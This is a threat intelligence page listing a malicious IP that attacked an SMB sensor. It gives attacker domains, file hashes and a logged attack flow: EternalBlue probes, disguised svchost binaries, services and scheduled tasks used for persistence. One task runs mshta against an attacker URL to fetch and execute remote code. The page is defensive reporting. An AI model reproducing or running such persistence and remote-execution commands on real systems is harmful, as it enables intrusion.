Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 103.16.71.71Malicious

IP Address: 103.16.71.71Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

SMB

Tags

Service Start SMB Service Deletion SMB Null Session Login Driver Start Access Share Successful SMB Login Driver Configuration Service Configuration Persistency - Logon Service Creation Download File Driver Creation Service Stop Listening Download and Execute CMD System File Modification IDS - A Network Trojan was detected Access Suspicious Domain SMB Share Connect Scheduled Task Creation Executable File Modification Execute from Share Outgoing Connection DNS Query Cookie Hijacking

Associated Attack Servers

i.haqo.net ii.haqo.net ip.42.pl p.abbny.com pp.abbny.com w.beahh.com

192.168.0.1

Basic Information

IP Address

103.16.71.71

Domain

-

ISP

-

Country

India

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2023-02-02

Last seen in Akamai Guardicore Segmentation

2024-04-27

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB with the following username: Administrator - Authentication policy: Reached Max Attempts

Successful SMB Login

cwbskoqb.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\cwbskoqb.exe as a service named MpXY under service group None

Service Start Service Creation

Service MpXY was stopped

Service Stop

IDS detected A Network Trojan was detected : Possible ETERNALBLUE Probe MS17-010 (MSF style)

IDS - A Network Trojan was detected

IDS detected A Network Trojan was detected : Possible ETERNALBLUE Probe MS17-010 (Generic Flags)

IDS - A Network Trojan was detected

IDS detected A Network Trojan was detected : ETERNALBLUE Probe Vulnerable System Response MS17-010

IDS - A Network Trojan was detected

c:\windows\system32\services.exe installed and started cmd as a service named LsbQ under service group None

Service Start Service Creation

IDS detected A Network Trojan was detected : WMIC WMI Request Over SMB - Likely Lateral Movement

IDS - A Network Trojan was detected

The file c:\windows\system32\drivers\svchost.exe was downloaded and executed 4 times

Download and Execute

c:\windows\system32\services.exe installed and started cmd as a service named VxDu under service group None

Service Start Service Creation

The file C:\WINDOWS\system32\drivers\taskmgr.exe was downloaded and executed 2 times

Download and Execute

The file C:\WINDOWS\Temp\svchost.exe was downloaded and executed 6 times

Download and Execute

Service VxDu was stopped

Service Stop

Process c:\installed2.exe started listening on ports: 65533

Listening

The file C:\WINDOWS\Temp\_MEI13042\python27.dll was downloaded and loaded by c:\windows\temp\svchost.exe

Download and Execute

System file C:\WINDOWS\system32\wbem\AutoRecover\88744D2A29102FC88ECF505DD2E984FC.mof was modified

System File Modification

A user logged in using SMB with the following username: Administrator - Authentication policy: Previously Approved User

Successful SMB Login

C:\caklOChI.exe was downloaded

Download File

c:\windows\system32\services.exe installed and started \\server-backup\c$\caklochi.exe as a service named lSXw under service group None

Service Start Service Creation

caklochi.exe was executed from the remote share \\server-backup\c$

Execute from Share

Service lSXw was stopped

Service Stop

c:\windows\temp\ttt.exe set the command line C:\WINDOWS\system32\wmiex.exe to run using Persistency - Logon

Persistency - Logon

The file c:\windows\system32\wmiex.exe was downloaded and executed 2 times

Download and Execute

c:\windows\system32\services.exe installed and started c:\windows\system32\wmiex.exe as a service named WebServers under service group None

Service Start Service Creation

Process c:\windows\temp\svchost.exe started listening on ports: 60124 2 times

Listening

The command line C:\WINDOWS\system32\cmd.exe /c C:\WINDOWS\system32\wmiex.exe was scheduled to run by modifying C:\WINDOWS\Tasks\WebServers.job

c:\windows\system32\services.exe installed and started c:\windows\system32\drivers\svchost.exe as a service named Ddriver under service group None 2 times

Service Start Service Creation

Executable file c:\windows\system32\drivers\svchost.exe was modified

Executable File Modification

c:\installed2.exe set the command line C:\WINDOWS\system32\drivers\svchost.exe| to run using Persistency - Logon

Persistency - Logon

c:\windows\system32\services.exe installed and started system32\drivers\tcpip6.sys as a service named Tcpip6 under service group None

Driver Start Service Creation

System file C:\WINDOWS\security\Database\secedit.sdb was modified

System File Modification

Process c:\windows\system32\wmiex.exe attempted to access suspicious domains: ii.haqo.net and pp.abbny.com

DNS Query Access Suspicious Domain

The command line C:\WINDOWS\system32\cmd.exe /c C:\WINDOWS\system32\drivers\svchost.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Ddrivers.job

c:\windows\system32\services.exe installed and started %systemroot%\system32\6to4svc.dll as a service named 6to4 under service group NetworkService

Service Start Service Creation

c:\windows\system32\services.exe installed and started system32\drivers\smb.sys as a service named Smb under service group None

Driver Start Service Creation

Process c:\windows\system32\drivers\svchost.exe started listening on ports: 65533

Listening

The file C:\WINDOWS\Temp\_MEI31042\python27.dll was downloaded and loaded by c:\windows\temp\svchost.exe

Download and Execute

Process c:\windows\system32\drivers\svchost.exe attempted to access suspicious domains: i.haqo.net and p.abbny.com

DNS Query Access Suspicious Domain

c:\windows\system32\services.exe installed system32\drivers\tunmp.sys as a service named tunmp under service group None

Service Creation

The command line C:\Windows\temp\svchost.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Autoscan.job

The command line C:\WINDOWS\system32\cmd.exe /c mshta http://w.beahh.com/page.html?pSERVER-BACKUP was scheduled to run by modifying C:\WINDOWS\Tasks\Autocheck.job

Process c:\windows\temp\svchost.exe attempted to access suspicious domains: ip.42.pl

DNS Query Access Suspicious Domain Outgoing Connection

Process c:\windows\system32\mshta.exe attempted to access suspicious domains: w.beahh.com

DNS Query Access Suspicious Domain

The file C:\WINDOWS\Temp\_MEI37562\python27.dll was downloaded and loaded by c:\windows\temp\svchost.exe

Download and Execute

The file C:\WINDOWS\Temp\_MEI37562\msvcr90.dll was downloaded and loaded by c:\windows\temp\_mei37562\msvcr90.dll

Download and Execute

Process c:\windows\temp\svchost.exe started listening on ports: 60124

Listening

Process netsvcs Service Group attempted to access suspicious domains: _LDAP._TCP

DNS Query Access Suspicious Domain

Connection was closed due to timeout

Process c:\windows\temp\svchost.exe generated outgoing network traffic to: 192.168.0.1:445

Outgoing Connection

Associated Files

C:\WINDOWS\system32\drivers\taskmgr.exe

SHA256: 01b842cab76c78a1d9860ade258923772fe3b08ae7a428d5f54e1bf9d9c3b205

49200 bytes

C:\nCYqtySR.exe

SHA256: 04447bcd6898019c48aebe11625cf20103d540befa6ff91474900883138d08d4

56320 bytes